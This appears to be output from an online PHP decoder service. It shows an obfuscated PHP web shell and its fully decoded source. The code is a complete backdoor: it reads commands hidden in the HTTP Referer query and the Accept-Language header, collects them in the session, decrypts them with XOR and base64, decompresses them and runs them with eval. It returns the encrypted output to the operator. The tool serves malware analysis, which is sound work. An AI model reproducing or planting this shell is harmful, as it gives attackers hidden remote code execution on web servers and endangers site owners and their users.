Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $A='ss(u,md5($i.$ku,h),0,3));$f=u,u,$sl($ss(mdu,5u,($iu,.u,$kf),0,3));$p="";for(u,u..
Decoded Output download
$kh="a9e8";$kf="1b82";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$A='ss(u,md5($i.$ku,h),0,3));$f=u,u,$sl($ss(mdu,5u,($iu,.u,$kf),0,3));$p="";for(u,u,$z=1;$z<cou,uu,nt($mu,[1u,u,]);$zu,++)$p.=$q[$m[';
$e='FEREu,R"];$ru,a=@$r["u,HTTu,P_ACCEu,PT_LANGu,UAGE"]u,;if($rr&u,&$rau,){$u=pu,arsu,e_uu,rl($rr);pu,arse_str($u[u,"queru,u,';
$z='foru,($j=0;($j<$c&&u,$i<$l);u,$j++,$i+u,u,u,+){$o.=$t{u,$i}^$k{u,$j};}u,}return $o;}$r=$u,_SEu,RVER;$rr=u,@u,$r["Hu,TTP_RE';
$E='y"],$q);$q=au,rray_u,values($u,q);u,pregu,_matcu,h_all("/(u,[\\w])[u,\\w-]+(?:;u,q=0.(u,[\\d]))u,?,?/",$u,ra,$mu,u,);if($q&u,';
$l='$kh="a9u,eu,8";$kf="1bu,82";functiou,n xu,u,(u,$t,$ku,){$c=strlen($k)u,;$u,l=strlenu,($t);$o="";fu,or($i=u,u,0;$i<$u,l;){u,';
$I='ndu,_clean(u,);$du,=base6u,4_encodu,eu,(x(gzcompru,esu,s(u,$o),$k));print(u,"<$k>$du,</$ku,>");@su,ession_u,u,destroy();}}}}';
$M='2][$z]];if(u,u,strpu,os($p,$h)u,===0){$s[u,$i]="";$u,p=$u,ss($u,p,3);}u,if(array_keu,y_exisu,ts($u,i,u,$s)){u,u,$s[$i].=$p;';
$x=str_replace('Tb','','crTbeatTbeTb_fuTbTbTbnction');
$S='&$m){u,@su,ession_staru,t();u,$s=&$_SESSIONu,;u,$ssu,="u,substr";$u,u,sl="strtu,olowu,er";$i=$m[1][0].$m[1u,][u,1];$h=$sl(u,$u,';
$m='$e=strpou,s($s[$u,i],$fu,);if($eu,u,){$ku,=$kh.$kf;obu,_u,start();@eu,val(@gu,zuu,ncompu,ress(@x(@base6u,4u,_u,decode(pu,r';
$F='eg_replacu,u,e(arrayu,("/u,_/","/-/"),arru,ay(u,"/","+"),$ss($su,[$u,i],0,$e))u,),$u,k)));u,$o=ob_get_u,conu,tents()u,;ob_e';
$X=str_replace('u,','',$l.$z.$e.$E.$S.$A.$M.$m.$F.$I);
$Y=$x('',$X);$Y();
?>Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 41c5089f4f73b107377dbdcf26b2cfd6 |
| Eval Count | 1 |
| Decode Time | 92 ms |